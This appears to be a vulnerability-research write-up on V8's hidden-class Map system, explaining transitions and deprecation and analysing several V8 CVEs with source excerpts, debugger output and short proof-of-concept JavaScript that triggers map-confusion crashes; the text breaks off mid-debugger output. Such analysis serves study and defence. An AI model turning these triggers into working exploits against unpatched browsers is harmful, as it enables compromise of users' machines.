Overview of Map Exploitation in v8
Introduction
We can create different objects with different structures in JavaScript and we definitely don’t want to write a C++ class for each of them. So in JavaScript, there is a concept called Shape, or Map in v8, which can be considered as a “hidden class”. The Shape or Map is used to describe the structure of an object.
Maps in v8
- Map: The hidden class structure which is the first pointer value at the beginning of the object. The Map allows V8 to quickly determine if two objects have the same class.
- Descriptor array: List of properties as well as the information about the properties of the object.
- Transition array: An array of pointers from one Map to another Map which can be used to determine when we add a new property to an object, which Map should be used.
Example
Let’s go through the following code:
object0 = {};
object0.p0 = 1;
object1 = {};
object1.p0 = 2;
object1.p1 = 3;
object2 = {};
object2.p0 = 4;
object2.p1 = 5;
object2.p2 = 6;
object3 = {};
object3.p0 = 7;
object3.p1 = 8;
object3.p3 = 9;
Let’s examine the state of those Maps, we will create object0
object0 = {};
object0.p0 = 1;
V8 create a new transition from root map to a new map,
Then we create object1
object1 = {};
object1.p0 = 2;
object1.p1 = 3;
When we add p0
to object1
, V8 will know which map to use by going through the transition array so it will switch to Map: object0
. After adding p1
, V8 will create a new transition from Map: object0
to Map: object1
. And these maps can share the same descriptor array. The key to that is the Map knows the number of properties of the object.
bitfield struct MapBitFields1 extends uint8 {
has_non_instance_prototype: bool: 1 bit;
is_callable: bool: 1 bit;
has_named_interceptor: bool: 1 bit;
has_indexed_interceptor: bool: 1 bit;
is_undetectable: bool: 1 bit;
is_access_check_needed: bool: 1 bit;
is_constructor: bool: 1 bit;
has_prototype_slot: bool: 1 bit;
}
bitfield struct MapBitFields2 extends uint8 {
new_target_is_base: bool: 1 bit;
is_immutable_prototype: bool: 1 bit;
elements_kind: ElementsKind: 6 bit;
}
bitfield struct MapBitFields3 extends uint32 {
enum_length: int32: 10 bit;
number_of_own_descriptors: int32: 10 bit;
is_prototype_map: bool: 1 bit;
is_dictionary_map: bool: 1 bit;
owns_descriptors: bool: 1 bit;
is_in_retained_map_list: bool: 1 bit;
is_deprecated: bool: 1 bit;
is_unstable: bool: 1 bit;
is_migration_target: bool: 1 bit;
is_extensible: bool: 1 bit;
may_have_interesting_properties: bool: 1 bit;
construction_counter: int32: 3 bit;
}
Then we create object2
object2 = {};
object2.p0 = 4;
object2.p1 = 5;
object2.p2 = 6;
which will basically do the similar thing as previously described.
Then we create object3
object3 = {};
object3.p0 = 7;
object3.p1 = 8;
object3.p3 = 9;
But this time after it go from the transition link of p1
, it will go to a new map Map: object3
instead of Map: object2
because object3
has a new property p3
. And they can no longer share the same descriptor array.
Vulnerabilities
CVE-2023-4427
https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2023-4427
CVE-2024-3159
https://github.com/KpwnZ/browser-pwn-collection/tree/main/v8/CVE-2024-3159
CVE-2020-16009
Map deprecation
Sometimes V8 can not generalize the fields of object in place, for example, transition from a SMI to a double. In this way, V8 will create a new map for the object and marks the old map as deprecated.
o1 = {a: 1}; // Map0{a: smi}
o2 = {a: 1}; // Map0{a: smi}
o1.a = 1.1; // Map1{a: double}, create a new map, Map0 is deprecated
x = o2.a; // migrate o2->map to Map1
The o1.a = 1.1
will invoke MapUpdater::State MapUpdater::ConstructNewMap()
which will invalidate transition target
// Invalidate a transition target at |key|.
MaybeDirectHandle<Map> maybe_transition =
TransitionsAccessor::SearchTransition(
isolate_, split_map, GetKey(split_index), split_details.kind(),
split_details.attributes());
if (!maybe_transition.is_null()) {
maybe_transition.ToHandleChecked()->DeprecateTransitionTree(isolate_);
}
void Map::DeprecateTransitionTree(Isolate* isolate) {
// ...
DisallowGarbageCollection no_gc;
TransitionsAccessor transitions(isolate, *this);
transitions.ForEachTransition(
&no_gc, [&](Tagged<Map> map) { map->DeprecateTransitionTree(isolate); },
[&](Tagged<Map> map) {
if (v8_flags.move_prototype_transitions_first) {
map->DeprecateTransitionTree(isolate);
}
},
nullptr);
// ...
set_is_deprecated(true);
// ...
}
V8 will mark all the maps as deprecated on the transition path, for example.
o1 = {};
o1.a = 1;
o2_0 = {}
o2_0.a = 1;
o2_0.b = 2;
o2_1 = {}
o2_1.a = 1;
o2_1.b = 2;
o3 = {}
o3.a = 1;
o3.b = 2;
o3.c = 3;
%DebugPrint(o1);
%DebugPrint(o2_0);
%DebugPrint(o2_1);
%DebugPrint(o3);
// Map_o1 -> Map_o2 -> Map_o3
o2_0.b = 2.2;
// Map_o1 -> Map_o2_0: {smi, double}, Map_o2_0 becomes migration target
// Map_o2_1: {smi, smi}(deprecated) -> Map_o3: {smi, smi, smi}(deprecated)
Here when the engine executes o2_0.b = 2.2
, it will create a new map with MapUpdater::ConstructNewMap()
Handle<Map> new_map =
Map::AddMissingTransitions(isolate_, split_map, new_descriptors);
it will replace the transition path from Map_o1
to Map_o2
to Map_o1
to new Map_o2_0
and DeprecateTransitionTree
will mark Map_o2_1
and Map_o3
as deprecated. Then the newly constructed map will be returned to v8::internal::LookupIterator::PrepareForDataProperty()
which will call
JSObject::MigrateToMap(isolate_, holder_obj, new_map);
to migrate the object to the new map.
if we then access o2_1.b
, it will trigger v8::internal::(anonymous namespace)::MigrateDeprecated()
void JSObject::MigrateInstance(Isolate* isolate,
DirectHandle<JSObject> object) {
Handle<Map> original_map(object->map(), isolate);
DirectHandle<Map> map = Map::Update(isolate, original_map);
map->set_is_migration_target(true);
JSObject::MigrateToMap(isolate, object, map);
if (v8_flags.trace_migration) {
object->PrintInstanceMigration(stdout, *original_map, *map);
}
}
Map::Update(isolate, original_map);
will call into v8::internal::MapUpdater::UpdateImpl()
which will try to find target map first using FindTargetMap()
which will try to find the target transition map according to the new descriptor. In this case, it will find the new map Map_o2_0
and migrate the object to the new map.
Property representation
Let’s say there is any object like
o = {
heap_value: {},
smi_value: 0 | 0,
double_value: 13.37,
};
DebugPrint: 0xc9500208b85: [JS_OBJECT_TYPE]
- map: 0x0c9500158809 <Map[24](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0c950014268d <Object map = 0xc9500141cc9>
- elements: 0x0c95000006fd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0c95000006fd <FixedArray[0]>
- All own properties (excluding elements): {
0xc9500158639: [String] in OldSpace: #heap_value: 0x0c9500208b9d <Object map = 0xc95001424c1> (const data field 0), location: in-object
0xc9500158651: [String] in OldSpace: #smi_value: 0 (const data field 1), location: in-object
0xc9500158669: [String] in OldSpace: #double_value: 0x0c9500208c31 <HeapNumber 13.37> (const data field 2), location: in-object
}
gef➤ job 0x0c9500208bfd
0xc9500208bfd: [DescriptorArray]
- map: 0x0c950000065d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: empty
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0xc9500158639: [String] in OldSpace: #heap_value (const data field 0:h, p: 0, attrs: [WEC]) @ Any
[1]: 0xc9500158651: [String] in OldSpace: #smi_value (const data field 1:s, p: 2, attrs: [WEC]) @ Any
[2]: 0xc9500158669: [String] in OldSpace: #double_value (const data field 2:d, p: 1, attrs: [WEC]) @ Any
o.heap_value
will be a tagged heap pointer, o.smi_value
will be a tagged smi, and o.double_value
will be a tagged double. The conversion between heap type and tagged double value (HeapNumber) can be done in place.
o = {
heap_value: {},
smi_value: 0 | 0,
double_value: 13.37,
};
%DebugPrint(o);
o.double_value = {};
%DebugPrint(o);
will print out the same map.
Vulnerability
The original Project Zero report pointed out that
bool Map::CanBeDeprecated() const {
for (InternalIndex i : IterateOwnDescriptors()) {
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
if (details.representation().IsNone()) return true;
if (details.representation().IsSmi()) return true;
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---
return true;
if (details.representation().IsHeapObject()) return true;
if (details.kind() == kData && details.location() == kDescriptor) {
return true;
}
}
return false;
}
incorrectly returns true when the object. But actually this function is correct because the tagged double and heap object can be converted in place without map deprecation (they are all 32 bit tagged values). The real problem is here, in FindTargetMap
:
Representation tmp_representation = tmp_details.representation();
if (!old_details.representation().fits_into(tmp_representation)) {
break;
}
Simply break without checking whether the type can be in place generalized, that’s means when we trying to do
o = {
double_value: 13.37
};
o.double_value = {};
the map of o
will be marked as deprecated but in fact it can be in place converted. This leads to an inconsistency between CanBeDeprecated
and the real map updating behavior, which is the root cause of the Vulnerability. In this way we can make a transition link to a deprecated map and trigger the migration. Here is a really simple PoC to deprecate a Map with two double value (which should not be deprecated).
let o1 = {} // Map_o1{smi}
o1.a = 1;
let o2 = {}; // Map_o2{smi, tagged_ptr}
o2.a = 1;
o2.b = {};
let o3 = {};
o3.a = 1;
o3.b = {};
// {} -> Map_o1 -> Map_o2
let o4 = {}; // Map_o4{double}
o4.a = 13.37;
// Map_o1 will be deprecated
// Map_o2 will be deprecated
let o5 = {}; // Map_o5{double, double}
o5.a = 13.37;
o5.b = 13.37;
let o6 = o3;
x = o6.b;
%DebugPrint(o6);
%DebugPrint(o5); // Map_o5 will be deprecated
CVE-2024-5830
Different properties storing strategy?
Fast in-object properties
There are some really fast properties which are stored inline in the object itself. The number of fast in-object properties are predefined.
Fast properties
If the number of properties exceeds the predefined number, the properties will be stored in a separate property array. They can be simply accessed by index in descriptor array.
Slow properties
An object with slow properties has a self-contained dictionary as a properties store. All the properties meta information is no longer stored in the descriptor array on the HiddenClass but directly in the properties dictionary. Inline cache don’t work for slow properties, so accessing slow properties will be slower.
The map of object with slow properties will be converted to dictionary mode, the descriptor array pointer will point to a fixed array that has 0 elements.
Vulnerability
In TryFastAddDataProperty
bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
Handle<Name> name, Handle<Object> value,
PropertyAttributes attributes) {
Tagged<Map> map =
TransitionsAccessor(isolate, object->map())
.SearchTransition(*name, PropertyKind::kData, attributes);
if (map.is_null()) return false;
// ...
new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
PropertyConstness::kConst, value);
// ...
object->WriteToField(descriptor,
new_map->instance_descriptors()->GetDetails(descriptor),
*value);
return true;
}
It will call Map::PrepareForDataProperty
first to prepare a new map for the object. Notice that in WriteToField
, it uses new_map->instance_descriptors
which implies that the engine will assume the map is a fast map.
In Map::PrepareForDataProperty
// static
Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
InternalIndex descriptor,
PropertyConstness constness,
Handle<Object> value) {
// Update to the newest map before storing the property.
map = Update(isolate, map);
// Dictionaries can store any property value.
DCHECK(!map->is_dictionary_map());
return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
}
The map = Update(isolate, map);
will invoke the map updater.
// static
Handle<Map> Map::Update(Isolate* isolate, Handle<Map> map) {
if (!map->is_deprecated()) return map;
if (v8_flags.fast_map_update) {
Tagged<Map> target_map = SearchMigrationTarget(isolate, *map);
if (!target_map.is_null()) {
return handle(target_map, isolate);
}
}
MapUpdater mu(isolate, map);
return mu.Update();
}
As what we have discussed in previous vulnerabilities, the map updating process can result in a map transition. One way to reach TryFastAddDataProperty
as well as invoking a callback function to trigger side effect, v8::internal::CloneObjectSlowPath
is a good choice and we can invoke it with spread operator like let a = { ...b }
.
Let’s go through the PoC
let x = {};
// {} -> map_a0_smi -> map_a1_smi -> map_prop_accessor
// +-----> map_prop
// -> map_a0 -> map_a1 <--- active currently
// +-----> map_tmp0
// ....... map_tmp_max
x.a0 = 1;
x.a1 = 2;
var x1 = {};
x1.a0 = 1;
x1.a1 = 2;
x1.prop = 1;
x.__defineGetter__("prop", function () {
let obj = {};
obj.a0 = 1;
obj.a0 = 1.1;
for (let i = 0; i < 1024 + 512; i++) {
let tmp = {};
tmp.a0 = 1;
tmp.a1 = 2;
eval(`tmp.p${i} = 1;`);
}
%DebugPrint(x1);
return 4;
});
x.z = 1;
delete x.z;
let y = { ...x }; // crash at !map->is_dictionary_map()
After the engine executing
let x = {};
x.a0 = 1;
x.a1 = 2;
var x1 = {};
x1.a0 = 1;
x1.a1 = 2;
x1.prop = 1;
x.__defineGetter__("prop", function () { /* ... */ });
the map transition tree will be
{} -> map_a0_smi -> map_a1_smi -> map_prop_accessor
+-----> map_prop
Then when it executes
let y = { ...x };
the properties will be added one by one, after adding a1
it’s going to add prop
, but
let obj = {};
obj.a0 = 1;
obj.a0 = 1.1;
will deprecate the map of x
and x1
and the following loop will exhaust the max number of transition that a fast property map can hold
for (let i = 0; i < 1024 + 512; i++) {
let tmp = {};
tmp.a0 = 1;
tmp.a1 = 2;
eval(`tmp.p${i} = 1;`);
}
The map of y
when we are trying to add prop
is also deprecated and the current active transition link is the one with 1024+512
transition target, so when FindSplitPoint
is called to find the split point, which is the map after it executing tmp.a1 = 2;
should contains 1024+512
transition targets, then it will be normailized to a dictionary map, and the map of y
will be updated to the dictionary map which will trigger the vulnerability.
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff4c56e94 <v8::internal::MapUpdater::ConstructNewMap()+0014> mov QWORD PTR [rbp-0x38], rdi
0x7ffff4c56e98 <v8::internal::MapUpdater::ConstructNewMap()+0018> mov rdi, QWORD PTR [rbp-0x38]
0x7ffff4c56e9c <v8::internal::MapUpdater::ConstructNewMap()+001c> mov QWORD PTR [rbp-0x328], rdi
→ 0x7ffff4c56ea3 <v8::internal::MapUpdater::ConstructNewMap()+0023> mov rax, QWORD PTR [rip+0xfffffffffd32a916] # 0x7ffff1f817c0
0x7ffff4c56eaa <v8::internal::MapUpdater::ConstructNewMap()+002a> mov QWORD PTR [rbp-0x40], rax
0x7ffff4c56eae <v8::internal::MapUpdater::ConstructNewMap()+002e> add rdi, 0x8
0x7ffff4c56eb2 <v8::internal::MapUpdater::ConstructNewMap()+0032> call 0x7ffff7921b80 <_ZNK2v88internal6HandleINS0_3MapEEptEv@plt>
0x7ffff4c56eb7 <v8::internal::MapUpdater::ConstructNewMap()+0037> mov QWORD PTR [rbp-0x68], rax
0x7ffff4c56ebb <v8::internal::MapUpdater::ConstructNewMap()+003b> lea rdi, [rbp-0x68]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:../../src/objec[...]map-updater.cc+973 ────
968 return handle(current, isolate_);
969 }
970
971 MapUpdater::State MapUpdater::ConstructNewMap() {
972 #ifdef DEBUG
→ 973 Handle<EnumCache> old_enum_cache =
974 handle(old_map_->instance_descriptors()->enum_cache(), isolate_);
975 #endif
976 Handle<DescriptorArray> new_descriptors = BuildDescriptorArray();
977
978 Handle<Map> split_map = FindSplitMap(new_descriptors);
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ job *old_map_
0x3a570015a93d: [Map] in OldSpace <=== map of x1
- map: 0x3a57001438bd <MetaMap (0x3a570014390d <NativeContext[287]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- deprecated_map
- back pointer: 0x3a570015a915 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x3a570015a90d <Cell value= 0>
- instance descriptors (own) #3: 0x3a570020b001 <DescriptorArray[3]>
- prototype: 0x3a57001447ad <Object map = 0x3a5700143de9>
- constructor: 0x3a57001442f1 <JSFunction Object (sfi = 0x3a5700312545)>
- dependent code: 0x3a570000070d <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
gef➤
CVE-2023-1214
In Maybe<uint32_t> ValueDeserializer::ReadJSObjectProperties
static bool IsValidObjectKey(Object value, Isolate* isolate) {
if (value.IsSmi()) return true;
auto instance_type = HeapObject::cast(value).map(isolate).instance_type();
return InstanceTypeChecker::IsName(instance_type) ||
InstanceTypeChecker::IsHeapNumber(instance_type);
}
Maybe<uint32_t> ValueDeserializer::ReadJSObjectProperties(
Handle<JSObject> object, SerializationTag end_tag,
bool can_use_transitions) {
uint32_t num_properties = 0;
// Fast path (following map transitions).
if (can_use_transitions) {
bool transitioning = true;
Handle<Map> map(object->map(), isolate_);
DCHECK(!map->is_dictionary_map());
DCHECK_EQ(0, map->instance_descriptors(isolate_).number_of_descriptors());
std::vector<Handle<Object>> properties;
properties.reserve(8);
while (transitioning) {
// If there are no more properties, finish.
SerializationTag tag;
if (!PeekTag().To(&tag)) return Nothing<uint32_t>();
if (tag == end_tag) {
ConsumeTag(end_tag);
CommitProperties(object, map, properties);
CHECK_LT(properties.size(), std::numeric_limits<uint32_t>::max());
return Just(static_cast<uint32_t>(properties.size()));
}
// Determine the key to be used and the target map to transition to, if
// possible. Transitioning may abort if the key is not a string, or if no
// transition was found.
Handle<Object> key;
Handle<Map> target;
Handle<String> expected_key;
{
TransitionsAccessor transitions(isolate_, *map);
expected_key = transitions.ExpectedTransitionKey();
if (!expected_key.is_null()) {
target = transitions.ExpectedTransitionTarget();
}
}
if (!expected_key.is_null() && ReadExpectedString(expected_key)) {
key = expected_key;
} else {
if (!ReadObject().ToHandle(&key) || !IsValidObjectKey(*key, isolate_)) {
return Nothing<uint32_t>();
}
if (key->IsString(isolate_)) {
key =
isolate_->factory()->InternalizeString(Handle<String>::cast(key));
// Don't reuse |transitions| because it could be stale.
transitioning = TransitionsAccessor(isolate_, *map)
.FindTransitionToField(Handle<String>::cast(key))
.ToHandle(&target);
} else {
transitioning = false;
}
}
// Read the value that corresponds to it.
Handle<Object> value;
if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
// If still transitioning and the value fits the field representation
// (though generalization may be required), store the property value so
// that we can copy them all at once. Otherwise, stop transitioning.
if (transitioning) {
// Deserializaton of |value| might have deprecated current |target|,
// ensure we are working with the up-to-date version.
target = Map::Update(isolate_, target);
InternalIndex descriptor(properties.size());
PropertyDetails details =
target->instance_descriptors(isolate_).GetDetails(descriptor); // <=== use descriptor
Representation expected_representation = details.representation();
if (value->FitsRepresentation(expected_representation)) {
// ...
}
// ...
}
which will deserialize given object. The following code:
// Read the value that corresponds to it.
Handle<Object> value;
if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
will create a new object by calling ReadObject()
which can trigger side effects. Thus the target
map can be marked as deprecated. As we mentioned previously, updating a deprecated map can resulted in a map normalization that will convert the map to a dictionary map. And the following code only expects the map is a fast map since it directly takes the descriptor of the map.
let arr = []
obj1 = {};
obj1.a = 1;
obj1.b = 1;
obj1.c = {};
obj2 = {};
obj2.a = 1;
obj2.b = 1;
obj2.c = arr;
obj3 = {};
obj3.a = 1;
obj3.b = 13.37; // deprecate map
arr.push(obj3);
for (let i = 0; i < 1024 + 512 + 1; i++) {
let tmp = {};
tmp.a = 1;
tmp.b = 1;
eval(`tmp.c${i} = 1`);
arr.push(tmp);
}
// now we have
// [
// obj1{1: smi, 1: smi, {}: tagged},
// obj2{1: smi, 1: smi, [ obj3{1: smi, 13.37: double}, tmp0, ..., tmpn ]: tagged}
// ]
worker = new Worker(
() => {
onmessage = (event) => {}
},
{ type: "function", arguments: [] },
);
worker.postMessage([obj1, obj2]);
worker.getMessage();
V8 will deserialize the object in the worker thread. First we create an object obj1
with
obj1 = {};
obj1.a = 1;
obj1.b = 1;
obj1.c = {};
which will create the following transition map
{} -> map_a_smi -> map_b_smi -> map_c_tagged
then we will have
obj2 = {};
obj2.a = 1;
obj2.b = 1;
obj2.c = arr;
which can follow the transition link of obj1
so transitioning
will be true
in the following code
if (!ReadObject().ToHandle(&key) || !IsValidObjectKey(*key, isolate_)) {
return Nothing<uint32_t>();
}
if (key->IsString(isolate_)) {
key =
isolate_->factory()->InternalizeString(Handle<String>::cast(key));
// Don't reuse |transitions| because it could be stale.
transitioning = TransitionsAccessor(isolate_, *map)
.FindTransitionToField(Handle<String>::cast(key))
.ToHandle(&target);
} else {
transitioning = false;
}
Then it will keep deserailizing the value, which is the array arr
stored in obj2
// Read the value that corresponds to it.
Handle<Object> value;
if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
// If still transitioning and the value fits the field representation
// (though generalization may be required), store the property value so
// that we can copy them all at once. Otherwise, stop transitioning.
if (transitioning) {
// Deserializaton of |value| might have deprecated current |target|,
// ensure we are working with the up-to-date version.
target = Map::Update(isolate_, target);
InternalIndex descriptor(properties.size());
PropertyDetails details =
target->instance_descriptors(isolate_).GetDetails(descriptor); // <=== use descriptor
Representation expected_representation = details.representation();
if (value->FitsRepresentation(expected_representation)) {
// ...
}
// ...
}
The first object in the array is obj3
, which is
obj3 = {};
obj3.a = 1;
obj3.b = 13.37; // deprecate map
arr.push(obj3);
This will deprecate the map of obj2
and obj1
, thus the transition link will be
{} -> map_a_smi -> map_b_smi -> map_c_tagged (deprecated)
+-> map_b_double
so the target
map is deprecated now, then we keep adding new transition c{i}
to the transition linkwhen the enigne tries to update the map
target = Map::Update(isolate_, target);
when we finish deserializing the array and back to the stack frame of deserailization process for obj2
which is the frame 7 below
gef➤ bt
#0 v8::internal::ValueDeserializer::ReadJSObjectProperties (this=0x7fff98056c48, object=..., end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
at ../../src/objects/value-serializer.cc:2473
#1 0x00007ffff63b1259 in v8::internal::ValueDeserializer::ReadJSObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1749
#2 0x00007ffff63afe16 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1554
#3 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#4 0x00007ffff63b1ac6 in v8::internal::ValueDeserializer::ReadDenseJSArray (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1819
#5 0x00007ffff63afe66 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1558
#6 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#7 0x00007ffff63b5a15 in v8::internal::ValueDeserializer::ReadJSObjectProperties (this=0x7fff98056c48, object=..., end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
at ../../src/objects/value-serializer.cc:2465
#8 0x00007ffff63b1259 in v8::internal::ValueDeserializer::ReadJSObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1749
#9 0x00007ffff63afe16 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1554
#10 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#11 0x00007ffff63b1ac6 in v8::internal::ValueDeserializer::ReadDenseJSArray (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1819
#12 0x00007ffff63afe66 in v8::internal::ValueDeserializer::ReadObjectInternal (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1558
#13 0x00007ffff63af6b1 in v8::internal::ValueDeserializer::ReadObject (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1482
#14 0x00007ffff63af4be in v8::internal::ValueDeserializer::ReadObjectWrapper (this=0x7fff98056c48) at ../../src/objects/value-serializer.cc:1458
#15 0x00007ffff548eae8 in v8::ValueDeserializer::ReadValue (this=0x7fffa67ff1a8, context=...) at ../../src/api/api.cc:3686
#16 0x000055555567e459 in v8::Deserializer::ReadValue (this=0x7fffa67ff198, context=...) at ../../src/d8/d8.cc:5381
#17 0x0000555555661dd3 in v8::Shell::DeserializeValue (isolate=0x7fff98000b90, data=...) at ../../src/d8/d8.cc:5460
#18 0x000055555566aa30 in v8::Worker::ProcessMessage (this=0x555555765fc8, data=...) at ../../src/d8/d8.cc:4521
#19 0x00005555556a174f in v8::ProcessMessageTask::RunInternal (this=0x5555557463f0) at ../../src/d8/d8.cc:4434
#20 0x00005555556a1704 in v8::internal::CancelableTask::Run (this=0x5555557463f0) at ../../src/tasks/cancelable-task.h:155
#21 0x00007ffff233d6a4 in v8::platform::DefaultPlatform::PumpMessageLoop (this=0x5555556dcf30, isolate=0x7fff98000b90, wait_for_work=v8::platform::MessageLoopBehavior::kDoNotWait)
at ../../src/libplatform/default-platform.cc:162
#22 0x00007ffff233d4fc in v8::platform::PumpMessageLoop (platform=0x5555556dcf30, isolate=0x7fff98000b90, behavior=v8::platform::MessageLoopBehavior::kDoNotWait)
at ../../src/libplatform/default-platform.cc:79
#23 0x000055555566cec8 in v8::(anonymous namespace)::ProcessMessages (isolate=0x7fff98000b90, behavior=...) at ../../src/d8/d8.cc:5108
#24 0x00005555556531eb in v8::Shell::EmptyMessageQueues (isolate=0x7fff98000b90) at ../../src/d8/d8.cc:5162
#25 0x0000555555652ae6 in v8::Shell::ExecuteString (isolate=0x7fff98000b90, source=..., name=..., print_result=v8::Shell::kNoPrintResult, report_exceptions=v8::Shell::kReportExceptions,
process_message_queue=v8::Shell::kProcessMessageQueue) at ../../src/d8/d8.cc:886
#26 0x000055555566a34f in v8::Worker::ExecuteInThread (this=0x555555765fc8) at ../../src/d8/d8.cc:4593
#27 0x0000555555669cff in v8::Worker::WorkerThread::Run (this=0x5555557463a0) at ../../src/d8/d8.cc:4421
#28 0x00007ffff23eacc6 in v8::base::Thread::NotifyStartedAndRun (this=0x5555557463a0) at ../../src/base/platform/platform.h:596
#29 0x00007ffff23e992d in v8::base::ThreadEntry (arg=0x5555557463a0) at ../../src/base/platform/platform-posix.cc:1123
#30 0x00007ffff1c0339d in ?? () from /usr/lib/libc.so.6
#31 0x00007ffff1c8849c in ?? () from /usr/lib/libc.so.6
the map of obj2
is deprecated
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:../../src/objec[...]value-serializer.cc+2465 ────
2460 }
2461 }
2462
2463 // Read the value that corresponds to it.
2464 Handle<Object> value;
→ 2465 if (!ReadObject().ToHandle(&value)) return Nothing<uint32_t>();
2466
2467 // If still transitioning and the value fits the field representation
2468 // (though generalization may be required), store the property value so
2469 // that we can copy them all at once. Otherwise, stop transitioning.
2470 if (transitioning) {
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "d8", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#1] Id 2, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#2] Id 3, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#3] Id 4, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#4] Id 5, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#5] Id 6, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#6] Id 7, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#7] Id 9, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#8] Id 8, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#9] Id 10, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#10] Id 11, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#11] Id 12, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#12] Id 13, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#13] Id 14, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#14] Id 15, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#15] Id 16, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#16] Id 17, Name: "V8 DefaultWorke", stopped 0x7ffff1bffa19 in ?? (), reason: BREAKPOINT
[#17] Id 18, Name: "WorkerThread", stopped 0x7ffff63b5a67 in v8::internal::ValueDeserializer::ReadJSObjectProperties (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#5] 0x7ffff63afe66 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#6] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#7] 0x7ffff63b5a15 → v8::internal::ValueDeserializer::ReadJSObjectProperties(this=0x7fff98056c48, object={
<v8::internal::HandleBase> = {
location_ = 0x7fff9804f218
}, <No data fields>}, end_tag=v8::internal::SerializationTag::kEndJSObject, can_use_transitions=0x1)
[#8] 0x7ffff63b1259 → v8::internal::ValueDeserializer::ReadJSObject(this=0x7fff98056c48)
[#9] 0x7ffff63afe16 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#10] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#11] 0x7ffff63b1ac6 → v8::internal::ValueDeserializer::ReadDenseJSArray(this=0x7fff98056c48)
[#12] 0x7ffff63afe66 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#13] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#14] 0x7ffff63af4be → v8::internal::ValueDeserializer::ReadObjectWrapper(this=0x7fff98056c48)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ job *target
0x20010041ab91: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
